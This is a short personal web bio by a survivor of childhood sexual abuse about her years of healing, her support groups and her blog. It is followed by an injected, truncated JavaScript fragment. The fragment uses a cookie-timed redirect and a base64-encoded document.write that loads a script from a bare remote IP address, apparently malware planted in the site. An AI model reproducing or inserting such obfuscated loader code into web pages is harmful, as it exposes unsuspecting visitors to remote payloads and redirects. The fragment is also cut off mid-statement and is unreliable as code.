I am a survivor of childhood sexual abuse. I began counseling when I was 12 years old. The court mandated that I go, but my family mandated that I keep their secrets of ongoing abuse, neglect and rejection. After 27 years of secret-keeping and coping as well as I could, I looked back at my life and found a failed marriage, countless regretful decisions, completely dysfunctional family relationships, and massive personal destruction all around me. It was then that I finally got real and began taking steps toward legitimate life change and healing. Almost nine years have passed, and I barely recognize myself! On this journey, I have discovered happiness, joy, peace, forgiveness, love, trust, faith, healing, hope…and a heart for others who have also been traumatized by sexual abuse. I have been leading support groups for two years, and writing a blog for survivors of sexual abuse for one year, http://www.victoryoversexualabuse.blogspot.com/. There truly are no words to adequately describe the devastation caused by sexual abuse, but there is hope for healing – I’m living proof. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘